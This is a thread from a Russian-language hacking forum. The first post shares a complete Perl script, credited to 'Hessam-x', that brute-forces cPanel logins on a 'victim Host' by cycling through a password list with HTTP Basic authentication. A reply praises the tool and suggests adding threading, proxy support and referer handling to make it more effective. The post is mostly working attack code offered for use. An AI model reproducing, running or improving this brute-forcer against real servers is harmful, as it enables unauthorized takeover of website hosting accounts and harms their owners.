HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Cpanel Password Brute Forcer
  #1  
Старый 10.12.2007, 05:03
PandoraBox
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
С нами: 10008797

Репутация: 398
По умолчанию Cpanel Password Brute Forcer

Cpanel Password Brute Force Tool - скрипт который брутит пароли к cPANEL all version
Написан на: Perl
Автор: Hessam-x

Код:
#!/usr/bin/perl 
# Cpanel Password Brute Forcer 
# ---------------------------- 
#    (c)oded By Hessam-x 
# Perl Version ( low speed ) 
use IO::Socket; 
use LWP::Simple; 
use MIME::Base64; 

$host     = $ARGV[0]; 
$user     = $ARGV[1]; 
$port     = $ARGV[2]; 
$list     = $ARGV[3]; 
$file     = $ARGV[4]; 
$url = "http://".$host.":".$port; 
if(@ARGV < 3){ 
print q( 
############################################################### 
#               Cpanel Password Brute Force Tool              # 
############################################################### 
#     usage : cpanel.pl [HOST] [User] [PORT][list]
[File]    # 
#-------------------------------------------------------------# 
#    [Host] : victim Host             (simorgh-ev.com)        # 
#    [User] : User Name               (demo)                  # 
#    [PORT] : Port of Cpanel          (2082)                  # 
#[list]
: File Of password list   (list.txt)              # 
#    [File] : file for save password  (password.txt)          # 
#                                                             # 
############################################################### 
#            (c)oded By Hessam-x / 		              # 
############################################################### 
);exit;} 

headx(); 

$numstart  = "-1"; 

sub headx() { 
print q( 
############################################################### 
#              Cpanel Password Brute Force Tool               # 
#            (c)oded By Hessam-x / simorgh-ev.com             # 
############################################################### 
); 
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !"; 
@PASSWORDS = <PASSFILE>; 
close PASSFILE; 
foreach my $P (@PASSWORDS) { 
chomp $P; 
$passwd = $P; 
print "\n [~] Try Password : $passwd \n"; 
&brut; 
}; 
} 
sub brut() { 
$authx = encode_base64($user.":".$passwd); 
print $authx; 
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host"; 
print $sock "GET / HTTP/1.1\n"; 
print $sock "Authorization: Basic $authx\n"; 
print $sock "Connection: Close\n\n"; 
read  $sock, $answer, 128; 
close($sock); 

if ($answer =~ /Moved/) { 
print "\n [~] PASSWORD FOUND : $passwd \n"; 
exit(); 
} 
}
 
Ответить с цитированием

  #2  
Старый 10.12.2007, 14:58
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
С нами: 9880226

Репутация: 209
По умолчанию

1. Всегда включай в код use warnings; и use strict; - поймешь зачем.
2. Можно было бы включить поддержку потоков(минус - теряется кроссплатформенность)
3. неплохо было бы включить поддержку проксей, благо и модулей достаточно для работы с ними, да и РФЦ в свободном доступе...
4. Насколько знаю, цпанели проверяют реферер(может и ошибаюсь)

А так - респект, молодец...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нужны шаблоны на vBulletin madnet PHP 3 10.12.2007 18:53
phpBB brute for Unix (for gcc) KEZ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 4 16.09.2005 11:21



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...